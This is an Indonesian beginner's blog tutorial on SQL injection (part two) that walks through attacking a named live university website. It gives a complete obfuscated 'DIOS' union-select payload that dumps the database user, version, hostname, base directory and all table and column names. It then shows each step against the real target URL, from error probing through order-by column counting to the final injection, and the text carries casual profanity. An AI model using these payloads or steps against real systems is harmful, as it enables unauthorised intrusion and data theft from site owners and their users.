cara SQL injection pemula (bagian2)

Cara SQL injection pemula

Assalamualaikum Yo balik lagi sama gua MrJack ok kali ini gua kasih materi SQL injcetion lagi yee:v

Ok ga ush bacot" ga jelas langsung gas aja ya kontol:v

Bahan?

-Hp jelaslah

-Kuota (percuma hp bagus ga ad kuotanya:v canda kuota)

-Dios

Duos yang gua pakai?

concat('<center>','<img src="https://i.ibb.co/prXVQhC/IMG-20210724-WA0009.jpg"="300px" width="300px"','</center>','</br>','<font color="black" size="5%">Injected by MrJack++','</font>','</br>','<font color="red">User::      ',user/**_**/(),'</br>','<font color="blue">Versi::    ','</font>',version/**_**/(),'<br>','<font color="green">Database::   ','</font>',database/**_**/(),'</br>','<font color="blue">Host::   ',@@HOSTNAME,'</font>','</br>','<font color="green">Directory::      ',@@BASEDIR,'</font>','</br>','<font color="blue">Symlink::    ',@@HAVE_SYMLINK,'</font>','</br>','<font color="green">SSL::   ',@@HAVE_OPENSSL,'</font>','</br>','</br>',(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/%20(@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),5,6,7,8,9,10--%20-

Ok gua dah ad live target nya ni 

https://simakpro.stieieu.ac.id/simakpro.php?module=detailberita&id=98

Nah untuk mengecek vuln / enggak nya kita kasih parameter 

Contoh

https://simakpro.stieieu.ac.id/simakpro.php?module=detailberita&id=98'

Nah maka akan terjadi eror 

Nah tinggal ke order by nya aja

Contoh

https://simakpro.stieieu.ac.id/simakpro.php?module=detailberita&id=98%27+order+by+1--+-

Nah maka akan pulih seperti semula lagi ,ok kita cari angka togelnya dlu 

Ok sekian lamanya akhirnya Nemu angka erornya yaitu 11:v ,,jadi logikanya gini kalo angka terakhir itu eror maka angka sebelum eror tadi adalah jumlah table nya

Ok kita langsung ke union select aja

https://simakpro.stieieu.ac.id/simakpro.php?module=detailberita&id=-98%27%20union%20select%201,2,3,4,5,6,7,8,9,10--%20-

Nah kan muncul angka togelnya 4 & 5 maka kita bisa inject di angka tersebut

Ok kita kasih Dios di angka tersebut 

Contoh

https://simakpro.stieieu.ac.id/simakpro.php?module=detailberita&id=-98%27%20union%20select%201,2,3,concat('<center>','<img src="https://i.ibb.co/prXVQhC/IMG-20210724-WA0009.jpg"="300px" width="300px"','</center>','</br>','<font color="black" size="5%">Injected by MrJack++','</font>','</br>','<font color="red">User::      ',user/**_**/(),'</br>','<font color="blue">Versi::    ','</font>',version/**_**/(),'<br>','<font color="green">Database::   ','</font>',database/**_**/(),'</br>','<font color="blue">Host::   ',@@HOSTNAME,'</font>','</br>','<font color="green">Directory::      ',@@BASEDIR,'</font>','</br>','<font color="blue">Symlink::    ',@@HAVE_SYMLINK,'</font>','</br>','<font color="green">SSL::   ',@@HAVE_OPENSSL,'</font>','</br>','</br>',(select(@x)/*!50000from*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000information_schema.columns*/)/*!50000where*/(table_schema=database/**_**/())and(0x00)in(@x:=/*!50000coNcat*/%20(@x,0x3c62723e,/*!50000table_name*/,0x203a3a20,/*!50000column_name*/))))x)),5,6,7,8,9,10--%20-

Dan boom jadi haxor dalam 2menit:v

Ok sekian materi dari gua kalo ada salah dalam artikel di atas mohon maaf wajarin pemula:v

Bagikan Artikel ini